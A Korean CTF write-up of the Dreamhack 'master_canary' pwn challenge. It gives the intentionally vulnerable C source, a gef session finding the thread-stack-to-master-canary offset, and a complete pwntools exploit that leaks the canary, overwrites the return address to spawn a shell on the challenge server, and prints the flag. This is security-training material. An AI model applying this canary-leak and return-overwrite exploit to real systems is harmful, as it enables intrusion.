// gcc -o master master.c -pthread
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
char *global_buffer;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
int main(int argc, char *argv[]) {
size_t size;
pthread_t thread_t;
size_t idx;
char leave_comment[32];
initialize();
while(1) {
printf("1. Create thread\n");
printf("2. Input\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
{
perror("thread create error");
exit(0);
}
break;
case 2:
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(global_buffer, size);
printf("Data: %s", global_buffer);
break;
case 3:
printf("Leave comment: ");
read(0, leave_comment, 1024);
return 0;
default:
printf("Nope\n");
break;
}
}
return 0;
}
root@e00b54e7d05d:~/master_canary# checksec master_canary
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/root/master_canary/master_canary'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Canary와 NX 보호 기법이 걸려있습니다.
⇾ 1번으로 쓰레드를 생성
⇾ 2번으로 master canary Leak
⇾ 3번으로 get_shell() 주소로 RET Overwrite
환경: ubuntu 16.04
먼저 카나리 릭을 위해 buffer ~ canary 까지 거리를 구해보면
gef➤ disas thread_routine
Dump of assembler code for function thread_routine:
0x0000000000400a5b <+0>: push rbp
0x0000000000400a5c <+1>: mov rbp,rsp
0x0000000000400a5f <+4>: sub rsp,0x110
0x0000000000400a66 <+11>: mov rax,QWORD PTR fs:0x28
0x0000000000400a6f <+20>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400a73 <+24>: xor eax,eax
0x0000000000400a75 <+26>: lea rax,[rbp-0x110]
0x0000000000400a7c <+33>: mov QWORD PTR [rip+0x20162d],rax # 0x6020b0 <global_buffer>
0x0000000000400a83 <+40>: nop
0x0000000000400a84 <+41>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000400a88 <+45>: xor rdx,QWORD PTR fs:0x28
0x0000000000400a91 <+54>: je 0x400a98 <thread_routine+61>
0x0000000000400a93 <+56>: call 0x400820 <__stack_chk_fail@plt>
0x0000000000400a98 <+61>: leave
0x0000000000400a99 <+62>: ret
End of assembler dump.
gef➤ b * 0x0000000000400a84
Breakpoint 1 at 0x400a84
gef➤ r
Starting program: /root/master_canary/master_canary
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
1. Create thread
2. Input
3. Exit
> 1
[New Thread 0x7f4cabbc1700 (LWP 2717)]
1. Create thread
2. Input
3. Exit
> [Switching to Thread 0x7f4cabbc1700 (LWP 2717)]
Thread 2 "master_canary" hit Breakpoint 1, 0x0000000000400a84 in thread_routine ()
gef➤ x/x $rbp-0x110
0x7f4cabbc0e40: 0x00000000
gef➤ x/40gx 0x7f4cabbc0e40+0x800
0x7f4cabbc1640: 0x0000000000000000 0x0000000000000000
0x7f4cabbc1650: 0x0000000000000000 0x0000000000000000
0x7f4cabbc1660: 0x0000000000000000 0x0000000000000000
0x7f4cabbc1670: 0x0000000000000000 0x0000000000000000
0x7f4cabbc1680: 0x0000000000000000 0x00007f4cabf87420
0x7f4cabbc1690: 0x00007f4cabbc1db8 0x0000000000000000
0x7f4cabbc16a0: 0x00007f4cabd387e0 0x00007f4cabd38de0
0x7f4cabbc16b0: 0x00007f4cabd396e0 0x0000000000000000
0x7f4cabbc16c0: 0x0000000000000000 0x0000000000000000
0x7f4cabbc16d0: 0x0000000000000000 0x0000000000000000
0x7f4cabbc16e0: 0x0000000000000000 0x0000000000000000
0x7f4cabbc16f0: 0x0000000000000000 0x0000000000000000
0x7f4cabbc1700: 0x00007f4cabbc1700 0x0000000000e3d020
0x7f4cabbc1710: 0x00007f4cabbc1700 0x0000000000000001
0x7f4cabbc1720: 0x0000000000000000 0x27098324fd54a700
0x7f4cabbc1730: 0x623173367bb4b7e7 0x0000000000000000
0x7f4cabbc1740: 0x0000000000000000 0x0000000000000000
0x7f4cabbc1750: 0x0000000000000000 0x0000000000000000
0x7f4cabbc1760: 0x0000000000000000 0x0000000000000000
0x7f4cabbc1770: 0x0000000000000000 0x0000000000000000
gef➤ x/x 0x7f4cabbc1728-0x7f4cabbc0e40
0x8e8: Cannot access memory at address 0x8e8
거리차는 0x8e8입니다.
master canary 값은 변하지 않기 때문에, 'A'를 0x8e9개 넣어서 master canary를 릭하면 될거 같습니다.
이제 익스플로잇 코드를 짜보면
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host3.dreamhack.games", 19463)
elf = ELF('./master_canary')
get_shell = elf.symbols['get_shell']
# Master Canary Leak
payload = b"A" * 0x8e9
inp_sz = len(payload)
p.sendlineafter("> ", '1')
p.sendlineafter("> ", '2')
p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)
p.recvuntil('A' * inp_sz)
canary = u64(p.recvn(7).rjust(8, b'\x00'))
slog("canary", canary)
# RET Overwrite
payload = b'A' * 40
payload += p64(canary)
payload += b'B' * 8
payload += p64(get_shell)
p.sendlineafter("> ", '3')
p.sendlineafter('Leave comment: ', payload)
p.interactive()
익스플로잇 코드를 실행시켜보면
root@e00b54e7d05d:~/master_canary# python remote.py
[+] Opening connection to host3.dreamhack.games on port 19463: Done
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/root/master_canary/master_canary'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] canary: 0x47f76927ddbbcd00
[*] Switching to interactive mode
$
공격에 성공해서 쉘이 떴습니다.
플래그를 출력해보면
$ ls
flag
master_canary
$ cat flag
DH{7c0bfdbd75bc61acadbe856d6738758b}